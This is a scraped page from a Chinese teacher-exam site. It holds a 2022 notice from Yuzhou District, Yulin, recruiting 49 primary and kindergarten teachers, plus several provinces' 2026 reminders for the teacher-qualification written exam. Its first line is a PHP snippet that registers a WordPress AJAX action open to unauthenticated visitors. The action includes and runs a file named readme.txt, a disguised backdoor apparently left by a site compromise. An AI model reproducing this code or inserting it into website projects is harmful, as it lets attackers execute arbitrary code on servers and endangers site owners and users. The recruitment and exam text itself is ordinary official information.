if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
广西玉林玉州区2022年赴南宁招聘小学、幼儿园教师49人公告-全国教师资格考试网

广西玉林玉州区2022年赴南宁招聘小学、幼儿园教师49人公告

  为充实我区小学、幼儿园教师队伍,根据《广西壮族自治区事业单位公开招聘人员实施办法》(桂人社发〔2011〕155号)规定,我区定于2022年7月4日在南宁师范大学专场招聘会,面向普通高校毕业生公开招聘小学、幼儿园教师共49名。现将有关事项公告如下:

  一、招聘学校、岗位及人数

  使用事业编制公开招聘小学教师39名、使用教师聘用控制数公开招聘公办幼儿园教师10名,具体招聘单位、岗位、人数详见《2022年玉州区面向普通高校毕业生公开招聘小学、幼儿园教师岗位计划表》(附件1)。

  二、招聘条件

  (一)报考人员应当具备以下条件:

  1.普通高校应届毕业生(指2022届高校毕业生及2020-2021届尚未落实工作单位的高校毕业生,下同),且年龄在18周岁以上、35周岁以下(1986年7月4日至2004年7月4日期间出生);

  2.拥护中国共产党的领导,热爱社会主义,热爱教育事业。

  3.遵守国家的法律、法规,享有公民的政治权利。

  4.具有良好的职业道德,品行端正,愿意履行人民教师的义务,遵守学校的纪律。

  5.小学教师岗位须具有普通高校本科及以上学历,幼儿园教师岗位须具有普通高校专科及以上学历。2022届普通高校毕业生

  必须在2022年8月31日以前取得学历、学位证书。

  6.具有相应的教师资格证。尚未进行教师资格认定的高校应届毕业生,可持在有效期内的中小学教师资格考试合格证明或师范生教师职业能力证书或笔试合格成绩(即“中小学教师资格考试NTCE成绩”或“师范生教师职业能力测试成绩”,幼儿园、小学、中职专业课教师资格为两科笔试成绩,中学、中职文化课教师资格为三科笔试成绩)报名应聘,但在2022年8月31日前必须取得相应的教师资格证。

  对于在2021年及2022年中小学(含幼儿园、中等职业学校)教师资格考试中受疫情影响考生(指2021 年及2022 年中小学教师资格考试(NTCE) 笔试成绩单或面试成绩单“受到疫情影响”栏标注为“是”)可以报考,报考者一经聘用后,在签订聘用合同时,应当按规定约定1年试用期,如在试用期内未取得报考岗位要求的教师资格证的,依法解除聘用合同。

  7.身心健康。具有履行岗位职责所需的身体条件和心理素质。

  其他条件详见《2022年玉州区面向普通高校毕业生公开招聘中小学、幼儿园教师岗位计划表》(附件1)。

  特别提示:

  报考人员报名前注意核对所报考岗位要求的专业条件,本人所持专业必须要与报考岗位专业要求相一致才能符合报考条件。本人所持专业与报考岗位专业设置要求不一致且在《广西壮族自治区公务员考试专业分类指导目录(2022年版)》(附件3)中没收录的,必须现场提供所学专业内容与报考岗位专业内容80%

  以上相同的书面证明材料。专业设置请参照《广西壮族自治区公务员考试专业分类指导目录(2022年版)》进行核对。

  (二)具有下列情形之一的人员,不得报考:

  1.曾因犯罪受过刑事处罚或曾被开除公职的人员;

  2.现役军人;

  3.在读的普通高校非2022年应届毕业生(其中,在读的非2022年应届毕业的专升本人员、研究生不得以已取得的学历、学位证书报考);

  4.被辞退未满5年的公务员和事业单位工作人员;

  5.尚未解除党纪、政纪处分或正在接受审查的人员,涉嫌违法犯罪正在接受司法调查尚未做出结论的人员;

  6.报考人员不得报考聘用后即构成《事业单位人事管理回避规定》以及《广西壮族自治区事业单位公开招聘人员实施办法》(桂人社发〔2011〕155号)第二十四条规定的回避关系的岗位。

  7.被依法列为失信联合惩戒对象的;

  8.法律规定不得招聘为事业单位工作人员的其他情形。

  三、报名时间和地点

  报名时间:2022年7月4日(星期一)  9:00-12:30 

  报名地点:南宁师范大学明秀校区文星楼(广西南宁市明秀东路175号)

  四、现场招聘程序

  本次招聘考试采取笔试+面试方式进行。面试工作由2022年玉州区公开招聘教师领导小组组织实施。同一招聘岗位符合报考条件的人数不超过1:30的,免笔试直接进入面试。

  同一招聘岗位符合报考条件的人数超过1:30的,该岗位的考生需

  先进行笔试,按笔试成绩从高到低以1∶6比例确定进入面试人选,

  比例内末位考生笔试成绩并列时,同时确定为进入面试人选。

  (一)现场报名和资格审核

  1.2022年7月4日9:00-12:30在招聘现场接受咨询、报名。报考人员应在规定时间内到达指定地点报名,并与招聘单位人员现场面谈。

  2.现场资格审查。现场资格审查原则上由考生本人持有关证件资料报名,如有特殊情况,可以委托他人提交材料报名,但须出具个人委托书。

  资格审查需提供以下材料(请将原件及复印件分别按以下顺序叠放):

  ①2022年玉州区面向普通高校毕业生公开招聘中小学、幼儿园教师报名登记表(附件2),请下载填写打印后手写签名;

  ②本人有效第二代居民身份证及复印件;

  ③毕业证书学位证书原件及复印件;

  ④教师资格证书原件及复印件(尚未进行教师资格认定的考生提供考试合格证明或笔试成绩证明材料,如入围拟聘人选须于2022年8月31日前取得相应教师资格证书);

  ⑤个人所获得的各种证书的原件及复印件。

  ⑥能证明其能力水平和特长的其他材料,留复印件。

  3.报名程序

  ①找到相应报考岗位的工作组。

  ②给工作组人员审核材料。

  ③工作组审核通过后,在报名登记表上填写相关信息。

  ④扫描二维码(见现场)登录报名小程序填写《2022年玉州

  区面向普通高校毕业生公开招聘中小学、幼儿园教师报名登记表》, 按提示规范填写,并于2022年7月4日13:00前提交才能算报名成功。

  ⑤扫描二维码进入钉钉群(报考者须提前在手机上安装好“钉钉”聊天应用程序,相关应用程序可在手机“应用市场”上下载)。

  4.注意事项

  ①报考人员最多只能报考一个岗位,报名与考试使用的证件必须一致。

  ②报考人员应按照疫情防控工作要求,落实疫情防控措施,确保顺利参考。

  ③在整个招聘期间须保持通讯畅通,通讯方式如有变化,应及时联系招聘单位变更联系电话,以免错失应聘机会。

  (二)笔试

  1.笔试内容为岗位专业知识;笔试满分为50分;考试时长为40分钟;考试不指定考试大纲和参考资料。

  2.笔试时间:2022年7月4日16:00-16:40。

  笔试地点:南宁师范大学明秀校区文星楼

  考生须携带身份证、黑色签字笔、2B铅笔、橡皮擦等考试用品参加考试。

  3.笔试成绩在考点公布。

  (三)面试

  面试采取试讲方式进行,对面试考生按有关规定进行面试考评,试讲时间7分钟。主要综合考察应试者掌握本专业知识的程度、临场应变、分析判断、语言表达、解决实际问题和教学思路及设想、教学过程展示等能力进行现场评分,面试满分为100分。

  1.确定面试人选

  需要进行笔试的考生,根据笔试成绩从高到低按不低于1:6的比例确定面试人选。

  同一招聘岗位,资格审查合格考生人数不超过1:30的,免笔试直接进入面试。

  如有岗位报名人数低于1:3比例的,经招聘领导小组同意后方可开考。如低于1:1(含1:1)比例的,则取消该岗位招聘计划。

  进入面试人员名单将于2022年7月4日20:00前在南宁师范大学明秀校区文星楼报名处张贴公布。

  2.面试时间:2022年7月5日,考生须在当天上午8:00前到南宁师范大学明秀校区文星楼报到待考,具体地点另行通知。

  3.面试考生按抽签顺序出场面试,不得向考官透露本人姓名、籍贯、毕业院校、工作单位、父母情况等个人信息。凡透露本人姓名的,面试成绩按0分处理,其余按扣减面试成绩3分-10分处理。面试结束当天,在考点公布成绩。

  4.面试成绩作为考试最终成绩。

  面试成绩满分为100分,因有考生放弃面试资格以及不足1:2比例开考等原因造成计划招聘岗位人数与实际面试人数的比例不足1:2的,按如下办法设定面试合格分数线:

  计划招聘岗位人数与实际面试人数的比例为1:1以下(含1:1)的,面试成绩必须达到70分以上方为合格,否则不能确定为拟聘人选。

  计划招聘岗位人数与实际面试人数的比例为1:1以上(不含1:1)至1:2以下(不含1:2)的,面试成绩必须达到65分以

  上方为合格,否则不能确定为拟聘人选。

  计划招聘岗位人数与实际面试人数达到1:2以上的(含1:2),不设面试合格分数线。

  5.注意事项:试讲采用传统模式,不得使用课件等现代化辅助教具。除体育、音乐、美术等学科考生可自备哨子、球类、简便乐器、画板等教具外,考生一律不得携带教材、教案(或教学设计)等物品进入考场。

  温馨提示:面试需要一定的时间,请考生在候考时自备足够的饮用水和食物。

  (四)确定拟聘用人员并签订就业协议

  根据招聘单位计划招聘的岗位人数,依据最终面试合格成绩从高分到低分按1:1的比例确定拟聘用人选后,与应聘者现场签订就业三方协议书(考生自带)。协议书一经签订,违约方需支付违约金。

  面试成绩同分处理办法:依次以学历高低、笔试成绩、师范类专业、优秀毕业生、政府奖学金、中共党员、普通话水平测试等级及分数等顺序优先确定人选,如还不能确定的,则进行第二次面试。

  五、体检与考核

  (一)确定体检及考核人选

  根据招聘单位计划招聘的岗位人数,依据最终面试合格成绩从高分到低分按1:1的比例确定体检、考核人选。如应聘人员体检、考核不合格的,按面试成绩从高分到低分依次递补人员进入体检、考核人选。

  (二)发布体检及考核公告

  由玉州区教育局在玉林市人力资源和社会保障局官网发布。公告内容包括人选名单、体检时间、地点、体检注意事项及考核办法。

  (三)体检

  体检由玉州区教育局和玉州区人力资源和社会保障局共同组织。体检工作按照中共广西壮族自治区委员会组织部、自治区人力资源社会保障厅、自治区卫生健康委《关于进一步规范事业单位公开招聘人员体检工作有关问题的通知》(桂人社规〔2019〕11号)执行。

  体检标准参照修订后的《公务员录用体检通用标准(试行)》及《公务员录用体检操作手册(试行)》执行。体检须到县级以上具有规定资质的医疗机构进行。体检完毕,主检医生应当审核体检结果并签名,医疗机构加盖公章。

  对《公务员录用体检通用标准(试行)》中的心率、视力、听力、血压等项目达不到体检合格标准的,应安排当日复检;对边缘性心脏杂音、病理性心电图、病理性杂音、频发早搏(心电图证实)等项目达不到体检合格标准的,应安排当场复检。报考人员对非当日、非当场复检的体检项目结果有疑问的,可以在接到体检结论通知之日起7日内向体检实施机关提交复检申请,经批准后进行复检。体检实施机关和体检医疗机构及其工作人员应对复检项目严格保密。原则上,非当日当场复检的项目,不得在原体检医院进行复检,复检只能进行一次,体检结果以复检结论为准。复检内容为对体检结论有影响的项目。按《公务员录用体检特殊标准(试行)》执行的体检项目均不进行复检。

  已经怀孕或疑似怀孕的考生,应在体检前向玉州区教育局提出书面申请,由玉州区教育局安排孕检,经确诊怀孕后,延缓所有项目体检。

  (四)考核

  考核工作由招聘单位及玉州区教育局负责。招聘单位根据应聘者的面试合格成绩从高分到低分按1:1的比例确定考核人选。考核时必须进行报考资格复审。报考资格复审主要核实报考者是否符合规定的报考条件,确认其报名时提供的信息和材料是否真实准确。主要考核报考人员的思想政治、道德品质、能力素质、遵纪守法、诚信记录、学习和工作表现、志愿服务以及需要回避的情况等,并形成书面材料。凡是因重要档案材料不全、个人经历不清等无法进行有效考核的,以及经有关部门确认存在严重违法失信行为的人员,不得确定为拟聘用人选。

  体检或考核不合格的,不能确定为聘用人选。空缺岗位可按考生面试合格成绩排名从高分到低分顺序依次递补。

  六、公示

  拟聘人员名单及基本情况在玉林市人力资源和社会保障局官网公示,公示期为7日。

  七、诚信档案管理

  应聘人员在报名过程中有下列违纪违规行为之一的,取消其本次应聘资格:

  (一)伪造、涂改证件、证明等报名材料,或者以其他不正当手段获取应聘资格的;

  (二)提供的涉及报考资格的申报材料或者信息不实、且影响报名审核结果的;

  (三)其他应当取消其本次应聘资格的违纪违规行为。

  应聘人员在考试、体检、考核过程中违反相关规定的,按《事业单位公开招聘违纪违规行为处理规定》,其违纪违规行为记入事业单位公开招聘应聘人员诚信档案库。

  八、聘用

  公示结果无异议的人员,按有关规定办理聘用手续,毕业生与用人单位依法签订3年聘用合同(实行一年试用期)。聘用合同书统一使用广西壮族自治区人力资源和社会保障厅监制的《事业单位聘用合同(样式)》作为范本。

  九、待遇和人员管理

  本次使用事业编制招聘的教师列入编制管理,执行国家、自治区规定的教师工资福利待遇;使用聘用教师控制数招聘的教师经编制部门登记备案,在薪酬待遇、职称评定、岗位竞聘等方面享受在编人员同等待遇。

  十、疫情防控工作要求

  招聘过程中严格按照新冠疫情防控工作要求做好疫情防控工作,确保招聘工作顺利开展,有效防止疫情发生。

  (一)应聘人员须确保符合以下所有条件方可参加现场招聘活动:

  1.健康状况良好,现场测量体温正常(<37.3℃), 并持有本人绿色“广西健康码”。

  2.应聘前14日内未接触过疑似或确诊新冠病毒感染患者。

  3.即日起时刻注意做好个人防护,应聘前无呼吸道症状、发热、畏寒、乏力、腹泻等身体不适情况。

  4.如实填写《个人健康承诺书》(附件4)

  (二)应聘人员必须遵守招聘活动纪律和疫情防控要求,服从工作人员的管理,

  自备一次性医用口罩,除核验身份、面试答题等必要情况下按要求摘口罩外,进出活动现场应当全程佩戴口罩。

  (三)应聘人员应自觉配合做好疫情防控工作,不得隐瞒或谎报旅居史、接触史、健康状况等疫情防控重点信息。

  (四)校外人员进校一律提供48小时内核酸检测结果证明并

  进行二码联查。

  (五) 如疫情防控形势发生变化,将根据上级部门相关要求适时调整招聘活动相关安排,具体请关注玉林市人力资源和社会保障局官网。

  十一、招聘监督

  招聘工作贯彻“公开、平等、竞争、择优”原则,实行信息公开、程序公开、结果公开。招聘考试工作接受纪检监察部门、考生和社会各界监督。对招聘考试工作中的违法违纪行为,依照有关规定严肃处理。

  监督电话:

  0775—2294166(区纪委监委派驻区教育局纪检监察组)

  十二、招聘单位联系电话及电子邮箱

  联系电话:0775-2809060(玉州区教育局人事股)

  电子邮箱:yzrsg2809060@163.com

  附件:

  广西玉林玉州区2022年赴南宁招聘小学、幼儿园教师49人公告1.2022年玉州区面向普通高校毕业生公开招聘中小学、幼儿园教师岗位计划表.xls

  广西玉林玉州区2022年赴南宁招聘小学、幼儿园教师49人公告2.2022年玉州区面向普通高校毕业生公开招聘中小学、幼儿园教师报名登记表.xls

  广西玉林玉州区2022年赴南宁招聘小学、幼儿园教师49人公告3.广西壮族自治区公务员考试专业分类指导目录(2022年版).xls

  广西玉林玉州区2022年赴南宁招聘小学、幼儿园教师49人公告4.个人健康承诺书.docx

玉林市玉州区教育局

2022年6月23日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部